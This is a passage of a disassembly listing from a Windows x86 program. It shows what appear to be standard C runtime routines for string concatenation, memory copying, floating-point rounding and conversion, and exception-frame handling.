loc_41CB57: ; CODE XREF: sub_41CAD4+7Ej
and byte ptr [edx], 0
inc edx
loc_41CB5B: ; CODE XREF: sub_41CAD4+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov dword_4DBE28, edx
and eax, ebx
pop ebx
leave
retn
sub_41CAD4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CB70 proc near ; CODE XREF: sub_409823+1Cp
; sub_415DAC+19p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_41FF3F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41CBAE
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41CBBB
; ---------------------------------------------------------------------------
loc_41CBAE: ; CODE XREF: sub_41CB70+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41FE2A
pop ecx
pop ecx
loc_41CBBB: ; CODE XREF: sub_41CB70+3Cj
mov eax, esi
pop esi
leave
retn
sub_41CB70 endp
; =============== S U B R O U T I N E =======================================
sub_41CBC0 proc near ; CODE XREF: sub_40ADE1+88p
; sub_40B90E+60p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_41CC74
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_41CBEA
loc_41CBDB: ; CODE XREF: sub_41CBC0+28j
mov al, [edi]
inc edi
test al, al
jz short loc_41CC1B
test edi, 3
jnz short loc_41CBDB
loc_41CBEA: ; CODE XREF: sub_41CBC0+19j
; sub_41CBC0+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_41CBEA
mov eax, [edi-4]
test al, al
jz short loc_41CC28
test ah, ah
jz short loc_41CC23
test eax, 0FF0000h
jz short loc_41CC1E
test eax, 0FF000000h
jnz short loc_41CBEA
loc_41CC1B: ; CODE XREF: sub_41CBC0+20j
dec edi
jmp short loc_41CC2B
; ---------------------------------------------------------------------------
loc_41CC1E: ; CODE XREF: sub_41CBC0+52j
sub edi, 2
jmp short loc_41CC2B
; ---------------------------------------------------------------------------
loc_41CC23: ; CODE XREF: sub_41CBC0+4Bj
sub edi, 3
jmp short loc_41CC2B
; ---------------------------------------------------------------------------
loc_41CC28: ; CODE XREF: sub_41CBC0+47j
sub edi, 4
loc_41CC2B: ; CODE XREF: sub_41CBC0+5Cj
; sub_41CBC0+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_41CC40
mov ebx, ecx
shr ecx, 2
jnz short loc_41CC8C
jmp short loc_41CC5C
; ---------------------------------------------------------------------------
loc_41CC40: ; CODE XREF: sub_41CBC0+75j
; sub_41CBC0+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_41CC7A
mov [edi], dl
inc edi
dec ecx
jz short loc_41CC70
test esi, 3
jnz short loc_41CC40
mov ebx, ecx
shr ecx, 2
jnz short loc_41CC8C
loc_41CC5C: ; CODE XREF: sub_41CBC0+7Ej
; sub_41CBC0+CAj
mov ecx, ebx
and ecx, 3
jz short loc_41CC70
loc_41CC63: ; CODE XREF: sub_41CBC0+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_41CC72
dec ecx
jnz short loc_41CC63
loc_41CC70: ; CODE XREF: sub_41CBC0+8Bj
; sub_41CBC0+A1j
mov [edi], cl
loc_41CC72: ; CODE XREF: sub_41CBC0+ABj
pop ebx
pop esi
loc_41CC74: ; CODE XREF: sub_41CBC0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CC7A: ; CODE XREF: sub_41CBC0+85j
; sub_41CBC0+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CC84: ; CODE XREF: sub_41CBC0+E4j
; sub_41CBC0+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41CC5C
loc_41CC8C: ; CODE XREF: sub_41CBC0+7Cj
; sub_41CBC0+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41CC84
test dl, dl
jz short loc_41CC7A
test dh, dh
jz short loc_41CCD8
test edx, 0FF0000h
jz short loc_41CCC8
test edx, 0FF000000h
jnz short loc_41CC84
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CCC8: ; CODE XREF: sub_41CBC0+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CCD8: ; CODE XREF: sub_41CBC0+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41CBC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CCE3 proc near ; CODE XREF: ___:0040B062p
; sub_40C2AF+40p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_41B9C0
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_420DB0
add esp, 10h
leave
retn
sub_41CCE3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CD20 proc near ; CODE XREF: sub_40B13C+62p
; sub_40B13C+6Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41CD40
cmp edi, eax
jb loc_41CEB8
loc_41CD40: ; CODE XREF: sub_41CD20+16j
test edi, 3
jnz short loc_41CD5C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CD7C
rep movsd
jmp off_41CE68[edx*4]
; ---------------------------------------------------------------------------
loc_41CD5C: ; CODE XREF: sub_41CD20+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41CD74
and eax, 3
add ecx, eax
jmp dword ptr loc_41CD7C+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CD74: ; CODE XREF: sub_41CD20+46j
jmp dword ptr loc_41CE78[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CD7C: ; CODE XREF: sub_41CD20+31j
; sub_41CD20+8Ej ...
jmp off_41CDFC[ecx*4]
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 0CDh, 41h, 0
dd offset loc_41CDBC
dd offset loc_41CDE0
; ---------------------------------------------------------------------------
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41CD7C
rep movsd
jmp off_41CE68[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CDBC: ; DATA XREF: sub_41CD20+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41CD7C
rep movsd
jmp off_41CE68[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CDE0: ; DATA XREF: sub_41CD20+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41CD7C
rep movsd
jmp off_41CE68[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CDFC dd offset loc_41CE5F ; DATA XREF: sub_41CD20:loc_41CD7Cr
dd offset loc_41CE4C
dd offset loc_41CE44
dd offset loc_41CE3C
dd offset loc_41CE34
dd offset loc_41CE2C
dd offset loc_41CE24
dd offset loc_41CE1C
; ---------------------------------------------------------------------------
loc_41CE1C: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41CE24: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41CE2C: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41CE34: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41CE3C: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41CE44: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41CE4C: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CE5F: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20:off_41CDFCo
jmp off_41CE68[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CE68 dd offset loc_41CE78 ; DATA XREF: sub_41CD20+35r
; sub_41CD20+92r ...
dd offset loc_41CE80
dd offset loc_41CE8C
dd offset loc_41CEA0
; ---------------------------------------------------------------------------
loc_41CE78: ; CODE XREF: sub_41CD20+35j
; sub_41CD20+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CE80: ; CODE XREF: sub_41CD20+35j
; sub_41CD20+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CE8C: ; CODE XREF: sub_41CD20+35j
; sub_41CD20+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CEA0: ; CODE XREF: sub_41CD20+35j
; sub_41CD20+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CEB8: ; CODE XREF: sub_41CD20+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41CEEC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CEE0
std
rep movsd
cld
jmp off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CEE0: ; CODE XREF: sub_41CD20+1B1j
; sub_41CD20+208j ...
neg ecx
jmp off_41CFB0[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CEEC: ; CODE XREF: sub_41CD20+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41CF04
and eax, 3
sub ecx, eax
jmp dword ptr loc_41CF04+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CF04: ; CODE XREF: sub_41CD20+1D6j
; DATA XREF: sub_41CD20+1DDr
jmp off_41D000[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CF17+1
; ---------------------------------------------------------------------------
cmp bh, cl
inc ecx
add [eax-31h], ah
inc ecx
loc_41CF17: ; DATA XREF: sub_41CD20+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41CEE0
std
rep movsd
cld
jmp off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41CEE0
std
rep movsd
cld
jmp off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41CEE0
std
rep movsd
cld
jmp off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CFB4
dd offset loc_41CFBC
dd offset loc_41CFC4
dd offset loc_41CFCC
dd offset loc_41CFD4
dd offset loc_41CFDC
dd offset loc_41CFE4
off_41CFB0 dd offset loc_41CFF7 ; DATA XREF: sub_41CD20+1C2r
; ---------------------------------------------------------------------------
loc_41CFB4: ; DATA XREF: sub_41CD20+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41CFBC: ; DATA XREF: sub_41CD20+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41CFC4: ; DATA XREF: sub_41CD20+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41CFCC: ; DATA XREF: sub_41CD20+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41CFD4: ; DATA XREF: sub_41CD20+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41CFDC: ; DATA XREF: sub_41CD20+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41CFE4: ; DATA XREF: sub_41CD20+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CFF7: ; CODE XREF: sub_41CD20+1C2j
; DATA XREF: sub_41CD20:off_41CFB0o
jmp off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41D000 dd offset loc_41D010 ; DATA XREF: sub_41CD20+1B7r
; sub_41CD20:loc_41CF04r ...
dd offset loc_41D018
dd offset loc_41D028
dd offset loc_41D03C
; ---------------------------------------------------------------------------
loc_41D010: ; CODE XREF: sub_41CD20+1B7j
; sub_41CD20:loc_41CF04j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D018: ; CODE XREF: sub_41CD20+1B7j
; sub_41CD20:loc_41CF04j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D028: ; CODE XREF: sub_41CD20+1B7j
; sub_41CD20:loc_41CF04j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D03C: ; CODE XREF: sub_41CD20+1B7j
; sub_41CD20:loc_41CF04j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41CD20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41D055(double)
sub_41D055 proc near ; CODE XREF: sub_40D2F4+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43AE10
call sub_422089
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41D0DB
call sub_421F51
pop ecx
test eax, eax
pop ecx
jle short loc_41D0BE
cmp eax, 2
jle short loc_41D0B0
cmp eax, 3
jnz short loc_41D0BE
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_421861
add esp, 10h
jmp short loc_41D120
; ---------------------------------------------------------------------------
loc_41D0B0: ; CODE XREF: sub_41D055+3Fj
push esi
push ebx
call sub_422089
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41D120
; ---------------------------------------------------------------------------
loc_41D0BE: ; CODE XREF: sub_41D055+3Aj
; sub_41D055+44j
fld [ebp+arg_0]
fadd dbl_4276F8
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_41D118
; ---------------------------------------------------------------------------
loc_41D0DB: ; CODE XREF: sub_41D055+2Fj
call sub_421F16
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41D0FE
loc_41D0F0: ; CODE XREF: sub_41D055+ACj
push esi
push ebx
call sub_422089
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41D120
; ---------------------------------------------------------------------------
loc_41D0FE: ; CODE XREF: sub_41D055+99j
test bl, 20h
jnz short loc_41D0F0
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_41D118: ; CODE XREF: sub_41D055+84j
call sub_4218B4
add esp, 1Ch
loc_41D120: ; CODE XREF: sub_41D055+59j
; sub_41D055+67j ...
pop esi
pop ebx
leave
retn
sub_41D055 endp
; =============== S U B R O U T I N E =======================================
sub_41D124 proc near ; CODE XREF: ___:0041C16Dp
; sub_422152+21p
; DATA XREF: ...
call sub_41D13C
call sub_422152
mov dword_4DBE30, eax
call sub_422102
fnclex
retn
sub_41D124 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41D13C proc near ; CODE XREF: sub_41D124p
mov eax, offset sub_422540
mov off_43D424, offset sub_4221D5
mov off_43D420, eax
mov off_43D428, offset sub_42223B
mov off_43D42C, offset sub_42217B
mov off_43D430, offset sub_422223
mov off_43D434, eax
retn
sub_41D13C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D174 proc near ; CODE XREF: sub_40D2F4+1Bp
; sub_40D2F4+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_41D174 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41D19B(double)
sub_41D19B proc near ; CODE XREF: sub_40D340+82p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43AE28
call sub_422089
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41D221
call sub_421F51
pop ecx
test eax, eax
pop ecx
jle short loc_41D204
cmp eax, 2
jle short loc_41D1F6
cmp eax, 3
jnz short loc_41D204
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_421861
add esp, 10h
jmp short loc_41D266
; ---------------------------------------------------------------------------
loc_41D1F6: ; CODE XREF: sub_41D19B+3Fj
push esi
push ebx
call sub_422089
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41D266
; ---------------------------------------------------------------------------
loc_41D204: ; CODE XREF: sub_41D19B+3Aj
; sub_41D19B+44j
fld [ebp+arg_0]
fadd dbl_4276F8
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_41D25E
; ---------------------------------------------------------------------------
loc_41D221: ; CODE XREF: sub_41D19B+2Fj
call sub_421F16
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41D244
loc_41D236: ; CODE XREF: sub_41D19B+ACj
push esi
push ebx
call sub_422089
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41D266
; ---------------------------------------------------------------------------
loc_41D244: ; CODE XREF: sub_41D19B+99j
test bl, 20h
jnz short loc_41D236
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_41D25E: ; CODE XREF: sub_41D19B+84j
call sub_4218B4
add esp, 1Ch
loc_41D266: ; CODE XREF: sub_41D19B+59j
; sub_41D19B+67j ...
pop esi
pop ebx
leave
retn
sub_41D19B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D26A proc near ; CODE XREF: ___:00422A22p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_41D26A endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_41D29E proc near ; CODE XREF: sub_422B62+199p
; sub_422D26+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41D29E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41D2A5 proc near ; CODE XREF: sub_422B62+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41D2A5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41D2AC proc near ; CODE XREF: sub_41D45E+5Cp
; sub_4229B1:loc_4229E2p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_41D2D4
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_426356
sub_41D2AC endp
; ---------------------------------------------------------------------------
loc_41D2D4: ; DATA XREF: sub_41D2AC+11o
mov eax, [ebp+0Ch]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+0Ch]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp-8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
; ---------------------------------------------------------------------------
loc_41D2FB: ; CODE XREF: ___:00426AACj
; ___:00426AC9j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_4225B6
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D331 proc near ; CODE XREF: sub_422A2C+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_41D385
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_422DB0
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_41D331 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D385 proc near ; DATA XREF: sub_41D331+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_4225B6
add esp, 20h
pop ebp
retn
sub_41D385 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D3AA proc near ; CODE XREF: sub_4227F8+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_41D45E
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_41D430
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call dword_4DBE70
pop ecx
pop ecx
and [ebp+var_34], 0
loc_41D430: ; DATA XREF: sub_41D3AA+3Co
cmp [ebp+var_4], 0
jz short loc_41D44D
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_41D456
; ---------------------------------------------------------------------------
loc_41D44D: ; CODE XREF: sub_41D3AA+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_41D456: ; CODE XREF: sub_41D3AA+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_41D3AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D45E proc near ; DATA XREF: sub_41D3AA+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_41D481
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_41D4CE
; ---------------------------------------------------------------------------
loc_41D481: ; CODE XREF: sub_41D45E+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
